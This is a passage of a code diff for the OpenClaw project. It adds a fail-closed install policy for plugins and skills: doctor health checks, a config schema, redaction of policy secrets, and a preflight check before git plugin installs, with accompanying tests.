JSON.stringify({ protocolVersion: 1, decision: "block", reason: "probe blocked" }), + ); + + const lines = await collectInstallPolicyHealthLines(configWithPolicy(scriptPath)); + + expect(lines.join("\n")).toContain("Install policy enabled for: skill, plugin"); + expect(lines.join("\n")).toContain("Static checks passed"); + expect(lines.join("\n")).not.toContain("probe blocked"); + }); + + it("runs the synthetic probe in deep mode", async () => { + const dir = await makeTempDir(); + const scriptPath = await writePolicyScript( + dir, + JSON.stringify({ protocolVersion: 1, decision: "allow" }), + ); + + const lines = await collectInstallPolicyHealthLines(configWithPolicy(scriptPath), { + deep: true, + }); + + expect(lines.join("\n")).toContain("Deep probe allowed the synthetic install request"); + }); + + it("reports unavailable enabled policy as fail-closed", async () => { + const lines = await collectInstallPolicyHealthLines({ + security: { + installPolicy: { + enabled: true, + }, + }, + }); + + expect(lines.join("\n")).toContain("security.installPolicy.exec is not configured"); + expect(lines.join("\n")).toContain("will fail closed"); + }); +}); diff --git a/src/commands/doctor-install-policy.ts b/src/commands/doctor-install-policy.ts new file mode 100644 index 000000000000..0ff5e0ae268f --- /dev/null +++ b/src/commands/doctor-install-policy.ts @@ -0,0 +1,87 @@ +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { note } from "../../packages/terminal-core/src/note.js"; +import { formatCliCommand } from "../cli/command-format.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { formatErrorMessage } from "../infra/errors.js"; +import { + probeInstallPolicy, + validateInstallPolicyStatic, + type InstallPolicyStaticValidation, +} from "../security/install-policy.js"; + +export type InstallPolicyHealthOptions = { + deep?: boolean; + env?: NodeJS.ProcessEnv; +}; + +function formatTargets(validation: InstallPolicyStaticValidation): string { + return validation.targets.length > 0 ? validation.targets.join(", ") : "none"; +} + +export async function collectInstallPolicyHealthLines( + cfg: OpenClawConfig, + options: InstallPolicyHealthOptions = {}, +): Promise { + const validation = await validateInstallPolicyStatic(cfg); + if (!validation.enabled) { + return []; + } + + const lines: string[] = [`- Install policy enabled for: ${formatTargets(validation)}`]; + for (const issue of validation.issues) { + lines.push(`- ${issue.severity.toUpperCase()}: ${issue.message}`); + } + if (validation.issues.some((issue) => issue.severity === "error")) { + lines.push("- Installs and updates for covered targets will fail closed until this is fixed."); + return lines; + } + + if (!options.deep) { + lines.push( + `- Static checks passed. Run ${formatCliCommand("openclaw doctor --deep")} to execute a synthetic policy probe.`, + ); + return lines; + } + + const probeDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-policy-probe-")); + try { + const result = await probeInstallPolicy({ + config: cfg, + env: options.env, + logger: {}, + sourcePath: probeDir, + }); + if (!result?.blocked) { + lines.push("- Deep probe allowed the synthetic install request."); + return lines; + } + if (result.blocked.code === "security_scan_blocked") { + lines.push( + `- Deep probe reached the policy command and the policy blocked the synthetic request: ${result.blocked.reason}`, + ); + return lines; + } + lines.push(`- ERROR: Deep probe failed closed: ${result.blocked.reason}`); + lines.push("- Installs and updates for covered targets will fail closed until this is fixed."); + return lines; + } catch (err) { + lines.push(`- ERROR: Deep probe could not run: ${formatErrorMessage(err)}`); + lines.push("- Installs and updates for covered targets will fail closed until this is fixed."); + return lines; + } finally { + await fs.rm(probeDir, { recursive: true, force: true }); + } +} + +export async function noteInstallPolicyHealth( + cfg: OpenClawConfig, + options: InstallPolicyHealthOptions = {}, +): Promise { + const lines = await collectInstallPolicyHealthLines(cfg, options); + if (lines.length === 0) { + return; + } + note(lines.join("\n"), "Install policy"); +} diff --git a/src/commands/doctor.fast-path-mocks.ts b/src/commands/doctor.fast-path-mocks.ts index 2ff3e73de2c5..41b89d5f864d 100644 --- a/src/commands/doctor.fast-path-mocks.ts +++ b/src/commands/doctor.fast-path-mocks.ts @@ -95,6 +95,10 @@ vi.mock("./doctor-security.js", () => ({ noteSecurityWarnings: vi.fn().mockResolvedValue(undefined), })); +vi.mock("./doctor-install-policy.js", () => ({ + noteInstallPolicyHealth: vi.fn().mockResolvedValue(undefined), +})); + vi.mock("./doctor-session-locks.js", () => ({ noteSessionLockHealth: vi.fn().mockResolvedValue(undefined), })); diff --git a/src/config/redact-snapshot.test.ts b/src/config/redact-snapshot.test.ts index 14c27b911afc..e2fbd3edc9a3 100644 --- a/src/config/redact-snapshot.test.ts +++ b/src/config/redact-snapshot.test.ts @@ -410,6 +410,56 @@ describe("redactConfigSnapshot", () => { ); }); + it("redacts install policy env values from config snapshots", () => { + const hints = buildConfigSchema().uiHints; + const raw = `{ + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: "/usr/local/bin/openclaw-install-policy", + env: { + POLICY_TOKEN: "operator-policy-secret-token", + AUDIT_ENDPOINT: "operator-policy-secret-endpoint", + }, + }, + }, + }, +}`; + const snapshot = makeSnapshot( + { + security: { + installPolicy: { + enabled: true, + exec: { + source: "exec", + command: "/usr/local/bin/openclaw-install-policy", + env: { + POLICY_TOKEN: "operator-policy-secret-token", + AUDIT_ENDPOINT: "operator-policy-secret-endpoint", + }, + }, + }, + }, + }, + raw, + ); + + const result = redactConfigSnapshot(snapshot, hints); + const cfg = result.config as typeof snapshot.config; + expect(cfg.security.installPolicy.exec.env.POLICY_TOKEN).toBe(REDACTED_SENTINEL); + expect(cfg.security.installPolicy.exec.env.AUDIT_ENDPOINT).toBe(REDACTED_SENTINEL); + expect(result.raw).toContain(REDACTED_SENTINEL); + expect(result.raw).not.toContain("operator-policy-secret-token"); + expect(result.raw).not.toContain("operator-policy-secret-endpoint"); + + const restored = restoreRedactedValues(result.config, snapshot.config, hints); + expect(restored.security.installPolicy.exec.env.POLICY_TOKEN).toBe( + "operator-policy-secret-token", + ); + }); + it("redacts model provider request proxy URLs from config snapshots", () => { const hints = buildConfigSchema().uiHints; const raw = `{ diff --git a/src/config/schema.test.ts b/src/config/schema.test.ts index 5bd25a371ecf..b9ce992993ad 100644 --- a/src/config/schema.test.ts +++ b/src/config/schema.test.ts @@ -110,6 +110,7 @@ describe("config schema", () => { expect(gatewayPortSchema?.description).toContain("TCP port used by the gateway listener"); expect(res.uiHints.gateway?.label).toBe("Gateway"); expect(res.uiHints["gateway.auth.token"]?.sensitive).toBe(true); + expect(res.uiHints["security.installPolicy.exec.env.*"]?.sensitive).toBe(true); const groupPolicyLabel = res.uiHints["channels.defaults.groupPolicy"]?.label; expect(groupPolicyLabel).toBeTypeOf("string"); expect(groupPolicyLabel?.trim().length).toBeGreaterThan(0); @@ -646,6 +647,38 @@ describe("config schema", () => { ).toBe(false); }); + it("accepts install policy exec config in the runtime zod schema", () => { + const parsed = OpenClawSchema.parse({ + security: { + installPolicy: { + enabled: true, + targets: ["skill", "plugin"], + exec: { + source: "exec", + command: "/usr/local/bin/openclaw-install-policy", + args: ["--json"], + timeoutMs: 5000, + noOutputTimeoutMs: 2500, + maxOutputBytes: 65536, + env: { + POLICY_MODE: "strict", + }, + passEnv: ["OPENCLAW_STATE_DIR"], + trustedDirs: ["/usr/local/bin"], + allowInsecurePath: false, + allowSymlinkCommand: false, + }, + }, + }, + }); + + expect(parsed.security?.installPolicy?.targets).toEqual(["skill", "plugin"]); + expect(parsed.security?.installPolicy?.exec?.source).toBe("exec"); + expect(parsed.security?.installPolicy?.exec?.command).toBe( + "/usr/local/bin/openclaw-install-policy", + ); + }); + it("accepts Code Mode config in the runtime zod schema", () => { expect(ToolsSchema.parse({ codeMode: true })?.codeMode).toBe(true); expect( diff --git a/src/config/types.openclaw.ts b/src/config/types.openclaw.ts index c19d885afeb2..fa66e6cc4732 100644 --- a/src/config/types.openclaw.ts +++ b/src/config/types.openclaw.ts @@ -46,6 +46,33 @@ export type SecurityConfig = { /** Accepted security audit findings to omit from active summary/findings. */ suppressions?: SecurityAuditSuppression[]; }; + installPolicy?: { + /** + * Enable operator-owned install policy. When true without an exec command, + * install/update attempts fail closed for supported targets. + */ + enabled?: boolean; + /** Supported install targets. Omit to cover every supported target. */ + targets?: Array<"skill" | "plugin">; + /** + * Trusted local policy command. Transport intentionally mirrors exec + * SecretRef provider fields: absolute command, no shell, bounded output, + * explicit env allowlist, and secure path checks. + */ + exec?: { + source: "exec"; + command: string; + args?: string[]; + timeoutMs?: number; + noOutputTimeoutMs?: number; + maxOutputBytes?: number; + env?: Record; + passEnv?: string[]; + trustedDirs?: string[]; + allowInsecurePath?: boolean; + allowSymlinkCommand?: boolean; + }; + }; }; export type SurfaceConfigEntry = { diff --git a/src/config/zod-schema.ts b/src/config/zod-schema.ts index fee88ce6c8fc..306821a8e525 100644 --- a/src/config/zod-schema.ts +++ b/src/config/zod-schema.ts @@ -104,6 +104,32 @@ const SecuritySchema = z }) .strict() .optional(), + installPolicy: z + .object({ + enabled: z.boolean().optional(), + targets: z + .array(z.union([z.literal("skill"), z.literal("plugin")])) + .min(1) + .optional(), + exec: z + .object({ + source: z.literal("exec"), + command: z.string().min(1), + args: z.array(z.string()).optional(), + timeoutMs: z.number().int().min(1).optional(), + noOutputTimeoutMs: z.number().int().min(1).optional(), + maxOutputBytes: z.number().int().min(1).optional(), + env: z.record(z.string(), z.string().register(sensitive)).optional(), + passEnv: z.array(z.string()).optional(), + trustedDirs: z.array(z.string()).optional(), + allowInsecurePath: z.boolean().optional(), + allowSymlinkCommand: z.boolean().optional(), + }) + .strict() + .optional(), + }) + .strict() + .optional(), }) .strict() .optional(); diff --git a/src/flows/doctor-health-contributions.ts b/src/flows/doctor-health-contributions.ts index d08539f1d6ec..27b037dca39b 100644 --- a/src/flows/doctor-health-contributions.ts +++ b/src/flows/doctor-health-contributions.ts @@ -554,8 +554,10 @@ async function runStartupChannelMaintenanceHealth(ctx: DoctorHealthFlowContext): } async function runSecurityHealth(ctx: DoctorHealthFlowContext): Promise { + const { noteInstallPolicyHealth } = await import("../commands/doctor-install-policy.js"); const { noteSecurityWarnings } = await import("../commands/doctor-security.js"); await noteSecurityWarnings(ctx.cfg); + await noteInstallPolicyHealth(ctx.cfg, { deep: ctx.options.deep === true, env: ctx.env }); } async function runBrowserHealth(ctx: DoctorHealthFlowContext): Promise { diff --git a/src/gateway/server-methods/skills-upload.test.ts b/src/gateway/server-methods/skills-upload.test.ts index 960720edf714..390ca22c0ed3 100644 --- a/src/gateway/server-methods/skills-upload.test.ts +++ b/src/gateway/server-methods/skills-upload.test.ts @@ -11,7 +11,7 @@ const agentScopeState = vi.hoisted(() => ({ })); const installSecurityScanState = vi.hoisted(() => ({ - scanSkillInstallSource: vi.fn(), + evaluateSkillInstallPolicy: vi.fn(), })); const replaceFileState = vi.hoisted(() => ({ @@ -30,7 +30,7 @@ vi.mock("../../agents/agent-scope.js", async (importOriginal) => { }); vi.mock("../../plugins/install-security-scan.js", () => ({ - scanSkillInstallSource: installSecurityScanState.scanSkillInstallSource, + evaluateSkillInstallPolicy: installSecurityScanState.evaluateSkillInstallPolicy, })); vi.mock("../../infra/replace-file.js", async (importOriginal) => { @@ -219,8 +219,8 @@ describe("skill upload gateway handlers", () => { vi.unstubAllEnvs(); replaceFileState.publishFailureTarget = ""; replaceFileState.publishFailures = 0; - installSecurityScanState.scanSkillInstallSource.mockReset(); - installSecurityScanState.scanSkillInstallSource.mockResolvedValue(undefined); + installSecurityScanState.evaluateSkillInstallPolicy.mockReset(); + installSecurityScanState.evaluateSkillInstallPolicy.mockResolvedValue(undefined); }); afterEach(async () => { @@ -461,13 +461,12 @@ describe("skill upload gateway handlers", () => { await expectPathMissing(path.join(workspaceDir, "skills", "traversal-skill")); }); - it("treats security scan blocks as terminal invalid uploads", async () => { + it("treats install policy blocks as terminal invalid uploads", async () => { const { handlers, stateDir } = await makeHarness(); - installSecurityScanState.scanSkillInstallSource.mockResolvedValueOnce({ + installSecurityScanState.evaluateSkillInstallPolicy.mockResolvedValueOnce({ blocked: { code: "security_scan_blocked", - reason: - 'Skill "scan-blocked" installation blocked: blocked dependencies "plain-crypto-js" declared in package.json.', + reason: 'blocked by install policy: Skill "scan-blocked" is not approved.', }, }); const upload = await uploadArchive(handlers, { @@ -483,11 +482,13 @@ describe("skill upload gateway handlers", () => { expect(install.ok).toBe(false); expect(install.error?.code).toBe("INVALID_REQUEST"); - expect(install.error?.message).toContain("blocked dependencies"); - const scanInput = firstCallArg<{ origin?: string; skillName?: string }>( - installSecurityScanState.scanSkillInstallSource, - ); - expect(scanInput.origin).toBe("skill-upload"); + expect(install.error?.message).toContain("blocked by install policy"); + const scanInput = firstCallArg<{ + origin?: { type?: string; uploadId?: string }; + skillName?: string; + }>(installSecurityScanState.evaluateSkillInstallPolicy); + expect(scanInput.origin?.type).toBe("upload"); + expect(scanInput.origin?.uploadId).toBe(upload.uploadId); expect(scanInput.skillName).toBe("scan-blocked"); await expectPathMissing(path.join(stateDir, "tmp", "skill-uploads", upload.uploadId)); }); diff --git a/src/gateway/server-methods/skills.clawhub.test.ts b/src/gateway/server-methods/skills.clawhub.test.ts index 145758fcb258..8bda451d72ef 100644 --- a/src/gateway/server-methods/skills.clawhub.test.ts +++ b/src/gateway/server-methods/skills.clawhub.test.ts @@ -247,6 +247,7 @@ describe("skills gateway handlers (clawhub)", () => { slug: "calendar", version: "1.2.3", force: false, + config: {}, }); expect(ok).toBe(true); expect(error).toBeUndefined(); @@ -259,7 +260,7 @@ describe("skills gateway handlers (clawhub)", () => { expect(result?.version).toBe("1.2.3"); }); - it("forwards dangerous override for local skill installs", async () => { + it("accepts deprecated unsafe override without forwarding it to skill installs", async () => { installSkillMock.mockResolvedValue({ ok: true, message: "Installed", @@ -279,7 +280,6 @@ describe("skills gateway handlers (clawhub)", () => { workspaceDir: "/tmp/workspace", skillName: "calendar", installId: "deps", - dangerouslyForceUnsafeInstall: true, timeoutMs: 120_000, config: {}, }); @@ -310,6 +310,7 @@ describe("skills gateway handlers (clawhub)", () => { expect(updateSkillsFromClawHubMock).toHaveBeenCalledWith({ workspaceDir: "/tmp/workspace", slug: "calendar", + config: {}, }); expect(ok).toBe(true); expect(error).toBeUndefined(); diff --git a/src/gateway/server-methods/skills.ts b/src/gateway/server-methods/skills.ts index 65f8c584ce2a..1868d561c4cb 100644 --- a/src/gateway/server-methods/skills.ts +++ b/src/gateway/server-methods/skills.ts @@ -433,6 +433,7 @@ export const skillsHandlers: GatewayRequestHandlers = { slug: p.slug, version: p.version, force: Boolean(p.force), + config: cfg, }); respond( result.ok, @@ -492,14 +493,12 @@ export const skillsHandlers: GatewayRequestHandlers = { const p = params as { name: string; installId: string; - dangerouslyForceUnsafeInstall?: boolean; timeoutMs?: number; }; const result = await installSkill({ workspaceDir: workspaceDirRaw, skillName: p.name, installId: p.installId, - dangerouslyForceUnsafeInstall: p.dangerouslyForceUnsafeInstall, timeoutMs: p.timeoutMs, config: cfg, }); @@ -543,6 +542,7 @@ export const skillsHandlers: GatewayRequestHandlers = { const results = await updateSkillsFromClawHub({ workspaceDir, slug: p.slug, + config: cfg, }); const errors = results.filter((result) => !result.ok); respond( diff --git a/src/infra/clawhub.ts b/src/infra/clawhub.ts index 186a70c0d89e..2e5f01e073ca 100644 --- a/src/infra/clawhub.ts +++ b/src/infra/clawhub.ts @@ -769,6 +769,10 @@ export function resolveClawHubBaseUrl(baseUrl?: string): string { return normalizeBaseUrl(baseUrl); } +export function isDefaultClawHubBaseUrl(baseUrl?: string): boolean { + return normalizeBaseUrl(baseUrl) === normalizeBaseUrl(DEFAULT_CLAWHUB_URL); +} + function buildVersionOrTagSearch(params: { version?: string; tag?: string; diff --git a/src/plugins/clawhub.test.ts b/src/plugins/clawhub.test.ts index 024eac7e0678..14cfa0bf8c07 100644 --- a/src/plugins/clawhub.test.ts +++ b/src/plugins/clawhub.test.ts @@ -172,6 +172,11 @@ type PackageLookupCall = { type ArchiveInstallCall = { archivePath?: string; dangerouslyForceUnsafeInstall?: boolean; + installPolicyRequest?: { + kind?: string; + requestedSpecifier?: string; + source?: { kind?: string; authority?: string; mutable?: boolean; network?: boolean }; + }; trustedSourceLinkedOfficialInstall?: boolean; }; @@ -323,6 +328,11 @@ describe("installPluginFromClawHub", () => { archivePath: "/tmp/clawhub-demo/archive.zip", }); expectSuccessfulClawHubInstall(result); + expect(archiveInstallCall().installPolicyRequest).toEqual({ + kind: "plugin-archive", + requestedSpecifier: "clawhub:demo", + source: { kind: "clawhub", authority: "openclaw", mutable: false, network: true }, + }); expect(logger.info).toHaveBeenCalledWith("ClawHub code-plugin demo@2026.3.22 channel=official"); expect(logger.info).toHaveBeenCalledWith( "Compatibility: pluginApi=>=2026.3.22 minGateway=2026.3.0", @@ -331,6 +341,25 @@ describe("installPluginFromClawHub", () => { expect(archiveCleanupMock).toHaveBeenCalledTimes(1); }); + it("marks custom ClawHub registries as third-party install policy authority", async () => { + const result = await installPluginFromClawHub({ + spec: "clawhub:demo", + baseUrl: "https://clawhub.internal.example", + }); + + expectClawHubInstallFlow({ + baseUrl: "https://clawhub.internal.example", + version: "2026.3.22", + archivePath: "/tmp/clawhub-demo/archive.zip", + }); + expectSuccessfulClawHubInstall(result); + expect(archiveInstallCall().installPolicyRequest).toMatchObject({ + kind: "plugin-archive", + requestedSpecifier: "clawhub:demo", + source: { kind: "clawhub", authority: "third-party", mutable: false, network: true }, + }); + }); + it("marks official source-linked OpenClaw packages as trusted for install scanning", async () => { fetchClawHubPackageDetailMock.mockResolvedValueOnce({ package: { diff --git a/src/plugins/clawhub.ts b/src/plugins/clawhub.ts index 4908a41fa0ce..34034c2ce52e 100644 --- a/src/plugins/clawhub.ts +++ b/src/plugins/clawhub.ts @@ -17,9 +17,11 @@ import { fetchClawHubPackageArtifact, fetchClawHubPackageDetail, fetchClawHubPackageVersion, + isDefaultClawHubBaseUrl, normalizeClawHubSha256Integrity, normalizeClawHubSha256Hex, parseClawHubPluginSpec, + resolveClawHubBaseUrl, resolveLatestVersionFromPackage, satisfiesGatewayMinimum, satisfiesPluginApiRange, @@ -1203,6 +1205,8 @@ export async function installPluginFromClawHub( `ClawHub package "${canonicalPackageName}@${versionState.version}" is missing sha256hash; falling back to files[] verification. Validated files: ${validatedPaths}.${validatedGeneratedPaths}`, ); } + const clawhubRegistry = resolveClawHubBaseUrl(params.baseUrl); + const clawhubAuthority = isDefaultClawHubBaseUrl(params.baseUrl) ? "openclaw" : "third-party"; params.logger?.info?.( `Downloading ${detail.package?.family === "bundle-plugin" ? "bundle" : "plugin"} ${parsed.name}@${versionState.version} from ClawHub…`, ); @@ -1210,12 +1214,18 @@ export async function installPluginFromClawHub( archivePath: archive.archivePath, dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, trustedSourceLinkedOfficialInstall: isTrustedSourceLinkedOfficialPackage(detail.package!), + config: params.config, logger: params.logger, mode: params.mode, extensionsDir: params.extensionsDir, timeoutMs: params.timeoutMs, dryRun: params.dryRun, expectedPluginId: params.expectedPluginId, + installPolicyRequest: { + kind: "plugin-archive", + requestedSpecifier: params.spec, + source: { kind: "clawhub", authority: clawhubAuthority, mutable: false, network: true }, + }, }); if (!installResult.ok) { return installResult; @@ -1250,10 +1260,7 @@ export async function installPluginFromClawHub( packageName: parsed.name, clawhub: { source: "clawhub", - clawhubUrl: - normalizeOptionalString(params.baseUrl) || - normalizeOptionalString(process.env.OPENCLAW_CLAWHUB_URL) || - "https://clawhub.ai", + clawhubUrl: clawhubRegistry, clawhubPackage: parsed.name, clawhubFamily, clawhubChannel: pkg.channel, diff --git a/src/plugins/git-install.test.ts b/src/plugins/git-install.test.ts index c0324364cc16..784b86e65cba 100644 --- a/src/plugins/git-install.test.ts +++ b/src/plugins/git-install.test.ts @@ -7,6 +7,7 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; const runCommandWithTimeoutMock = vi.fn(); const installPluginFromInstalledPackageDirMock = vi.fn(); +const preflightPluginGitInstallPolicyMock = vi.fn(); vi.mock("../process/exec.js", () => ({ runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args), @@ -21,9 +22,21 @@ vi.mock("./install.js", async () => { }; }); +vi.mock("./install-security-scan.js", async () => { + const actual = await vi.importActual( + "./install-security-scan.js", + ); + return { + ...actual, + preflightPluginGitInstallPolicy: (...args: unknown[]) => + preflightPluginGitInstallPolicyMock(...args), + }; +}); + vi.resetModules(); -const { installPluginFromGitSpec, parseGitPluginSpec } = await import("./git-install.js"); +const { installPluginFromGitSpec, isImmutableGitCommitRef, parseGitPluginSpec } = + await import("./git-install.js"); function expectedGitRepoDir(params: { gitDir: string; normalizedSpec: string }): string { const hash = createHash("sha256") @@ -52,6 +65,7 @@ function firstInstallOptions(): | { expectedPluginId?: string; packageDir?: string; + mode?: string; installPolicyRequest?: { kind?: string; requestedSpecifier?: string }; } | undefined { @@ -59,6 +73,7 @@ function firstInstallOptions(): | { expectedPluginId?: string; packageDir?: string; + mode?: string; installPolicyRequest?: { kind?: string; requestedSpecifier?: string }; } | undefined; @@ -97,12 +112,27 @@ describe("parseGitPluginSpec", () => { }); }); +describe("isImmutableGitCommitRef", () => { + it.each([ + [undefined, false], + ["main", false], + ["v1.2.3", false], + ["abc123", false], + ["0123456789abcdef0123456789abcdef01234567", true], + ["0123456789ABCDEF0123456789ABCDEF01234567", true], + ] as const)("classifies %s as immutable=%s", (ref, expected) => { + expect(isImmutableGitCommitRef(ref)).toBe(expected); + }); +}); + describe("installPluginFromGitSpec", () => { const tempDirs: string[] = []; beforeEach(async () => { runCommandWithTimeoutMock.mockReset(); installPluginFromInstalledPackageDirMock.mockReset(); + preflightPluginGitInstallPolicyMock.mockReset(); + preflightPluginGitInstallPolicyMock.mockResolvedValue(null); const globalConfigRoot = await fs.mkdtemp( path.join(os.tmpdir(), "openclaw-git-install-npmrc-"), ); @@ -208,6 +238,117 @@ describe("installPluginFromGitSpec", () => { expect(cloneArgv[5]).toContain("/repo"); }); + it("runs install policy preflight before npm installs git dependencies", async () => { + runCommandWithTimeoutMock + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" }); + preflightPluginGitInstallPolicyMock.mockResolvedValueOnce({ + blocked: { + reason: "blocked by install policy: git installs disabled", + code: "security_scan_blocked", + }, + }); + + const result = await installPluginFromGitSpec({ + spec: "git:github.com/acme/demo", + expectedPluginId: "demo", + }); + + expect(result.ok).toBe(false); + if (!result.ok) { + expect(result.error).toContain("git installs disabled"); + } + expect(runCommandWithTimeoutMock).toHaveBeenCalledTimes(2); + expect(commandArgvAt(0).slice(0, 5)).toEqual([ + "git", + "clone", + "--depth", + "1", + "https://github.com/acme/demo.git", + ]); + expect(commandArgvAt(1)).toEqual(["git", "rev-parse", "HEAD"]); + expect(preflightPluginGitInstallPolicyMock).toHaveBeenCalledWith( + expect.objectContaining({ + pluginId: "demo", + requestedSpecifier: "git:github.com/acme/demo", + source: { kind: "git", authority: "third-party", mutable: true, network: true }, + sourcePath: expect.stringContaining("/repo"), + }), + ); + expect(installPluginFromInstalledPackageDirMock).not.toHaveBeenCalled(); + }); + + it("reports full commit refs as immutable to install policy", async () => { + const commit = "0123456789abcdef0123456789abcdef01234567"; + runCommandWithTimeoutMock + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: `${commit}\n`, stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }); + installPluginFromInstalledPackageDirMock.mockImplementation( + async (params: { packageDir: string }) => { + await fs.mkdir(params.packageDir, { recursive: true }); + return { + ok: true, + pluginId: "demo", + targetDir: params.packageDir, + version: "1.2.3", + extensions: ["index.js"], + }; + }, + ); + + const result = await installPluginFromGitSpec({ + spec: `git:github.com/acme/demo@${commit}`, + expectedPluginId: "demo", + }); + + expect(result.ok).toBe(true); + expect(preflightPluginGitInstallPolicyMock).toHaveBeenCalledWith( + expect.objectContaining({ + requestedSpecifier: `git:github.com/acme/demo@${commit}`, + source: { kind: "git", authority: "third-party", mutable: false, network: true }, + }), + ); + }); + + it("reports effective install mode for requested git update without an installed target", async () => { + const gitDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-git-install-mode-")); + try { + runCommandWithTimeoutMock + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: "abc123\n", stderr: "" }) + .mockResolvedValueOnce({ code: 0, stdout: "", stderr: "" }); + installPluginFromInstalledPackageDirMock.mockImplementation( + async (params: { packageDir: string }) => { + await fs.mkdir(params.packageDir, { recursive: true }); + return { + ok: true, + pluginId: "demo", + targetDir: params.packageDir, + version: "1.2.3", + extensions: ["index.js"], + }; + }, + ); + + const result = await installPluginFromGitSpec({ + spec: "git:github.com/acme/demo", + expectedPluginId: "demo", + gitDir, + mode: "update", + }); + + expect(result.ok).toBe(true); + expect(preflightPluginGitInstallPolicyMock).toHaveBeenCalledWith( + expect.objectContaining({ mode: "install" }), + ); + expect(firstInstallOptions()?.mode).toBe("install"); + } finally { + await fs.rm(gitDir, { recursive: true, force: true }); + } + }); + it("uses a credential-free managed repo path for authenticated git URLs", async () => { const gitDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-git-install-path-")); try { diff --git a/src/plugins/git-install.ts b/src/plugins/git-install.ts index b16e243eda5c..c1049c491534 100644 --- a/src/plugins/git-install.ts +++ b/src/plugins/git-install.ts @@ -4,6 +4,7 @@ import path from "node:path"; import { redactSensitiveUrlLikeString } from "@openclaw/net-policy/redact-sensitive-url"; import { normalizeOptionalString } from "@openclaw/normalization-core/string-coerce"; import { sanitizeForLog } from "../../packages/terminal-core/src/ansi.js"; +import { pathExists } from "../infra/fs-safe.js"; import { withTempDir } from "../infra/install-source-utils.js"; import { replaceDirectoryAtomic } from "../infra/replace-file.js"; import { @@ -13,11 +14,20 @@ import { import { runCommandWithTimeout } from "../process/exec.js"; import { resolveUserPath } from "../utils.js"; import { resolveDefaultPluginGitDir } from "./install-paths.js"; -import type { InstallSafetyOverrides } from "./install-security-scan.js"; -import { installPluginFromInstalledPackageDir, type InstallPluginResult } from "./install.js"; +import { + preflightPluginGitInstallPolicy, + type InstallSafetyOverrides, + type InstallSecurityScanResult, +} from "./install-security-scan.js"; +import { + installPluginFromInstalledPackageDir, + PLUGIN_INSTALL_ERROR_CODE, + type InstallPluginResult, +} from "./install.js"; const GIT_SPEC_PREFIX = "git:"; const DEFAULT_GIT_TIMEOUT_MS = 120_000; +const FULL_GIT_COMMIT_PATTERN = /^[0-9a-f]{40}$/i; type PluginInstallLogger = { info?: (message: string) => void; @@ -43,6 +53,10 @@ export type ParsedGitPluginSpec = { normalizedSpec: string; }; +export function isImmutableGitCommitRef(ref: string | undefined): boolean { + return FULL_GIT_COMMIT_PATTERN.test(ref ?? ""); +} + function splitGitSpecRef(input: string): { base: string; ref?: string } { const hashIndex = input.lastIndexOf("#"); if (hashIndex > 0) { @@ -253,6 +267,20 @@ function formatGitCommandFailure(params: { return `failed to ${params.action} ${sanitizeForLog(redactSensitiveUrlLikeString(params.source.label))}: ${detail}`; } +function buildBlockedGitInstallResult(params: { + blocked: NonNullable["blocked"]>; +}): Extract { + return { + ok: false, + error: params.blocked.reason, + ...(params.blocked.code === "security_scan_failed" + ? { code: PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_FAILED } + : params.blocked.code === "security_scan_blocked" + ? { code: PLUGIN_INSTALL_ERROR_CODE.SECURITY_SCAN_BLOCKED } + : {}), + }; +} + async function runGitCommand(params: { argv: string[]; action: string; @@ -300,6 +328,8 @@ export async function installPluginFromGitSpec( } const persistentRepoDir = resolveGitInstallRepoDir({ gitDir: params.gitDir, source: parsed }); + const effectiveMode = + params.mode === "update" && (await pathExists(persistentRepoDir)) ? "update" : "install"; return await withTempDir("openclaw-git-plugin-", async (tmpDir) => { const repoDir = path.join(tmpDir, "repo"); params.logger?.info?.( @@ -342,6 +372,29 @@ export async function installPluginFromGitSpec( return rev; } + const installPolicyRequest = { + kind: "plugin-git" as const, + requestedSpecifier: parsed.input, + source: { + kind: "git" as const, + authority: "third-party" as const, + mutable: !isImmutableGitCommitRef(parsed.ref), + network: true, + }, + }; + const preflight = await preflightPluginGitInstallPolicy({ + config: params.config, + logger: params.logger ?? {}, + mode: effectiveMode, + pluginId: params.expectedPluginId ?? parsed.label, + requestedSpecifier: parsed.input, + source: installPolicyRequest.source, + sourcePath: repoDir, + }); + if (preflight?.blocked) { + return buildBlockedGitInstallResult({ blocked: preflight.blocked }); + } + if (!params.dryRun) { params.logger?.info?.("Installing plugin dependencies with npm…"); const install = await runCommandWithTimeout( @@ -374,15 +427,13 @@ export async function installPluginFromGitSpec( const result = await installPluginFromInstalledPackageDir({ dangerouslyForceUnsafeInstall: params.dangerouslyForceUnsafeInstall, + config: params.config, packageDir: repoDir, dryRun: params.dryRun, expectedPluginId: params.expectedPluginId, logger: params.logger, - mode: params.mode, - installPolicyRequest: { - kind: "plugin-git", - requestedSpecifier: parsed.input, - }, + mode: effectiveMode, + installPolicyRequest, }); if (!result.ok) { return result; diff --git a/src/plugins/hook-runner-global.ts b/src/plugins/hook-runner-global.ts index 5c5c0a75b94b..5bcecd2ff88e 100644 --- a/src/plugins/hook-runner-global.ts +++ b/src/plugins/hook-runner-global.ts @@ -42,6 +42,7 @@ export function initializeGlobalHookRunner(registry: GlobalHookRunnerRegistry): catchErrors: true, failurePolicyByHook: { before_agent_run: "fail-closed", + before_install: "fail-closed", before_tool_call: "fail-closed", }, }); diff --git a/src/plugins/install-policy-context.ts b/src/plugins/install-policy-context.ts index f1c5a79ffcad..3f6d990c805f 100644 --- a/src/plugins/install-policy-context.ts +++ b/src/plugins/install-policy-context.ts @@ -22,11 +22,22 @@ export type BeforeInstallHookPayloadParams = { sourcePath: string; 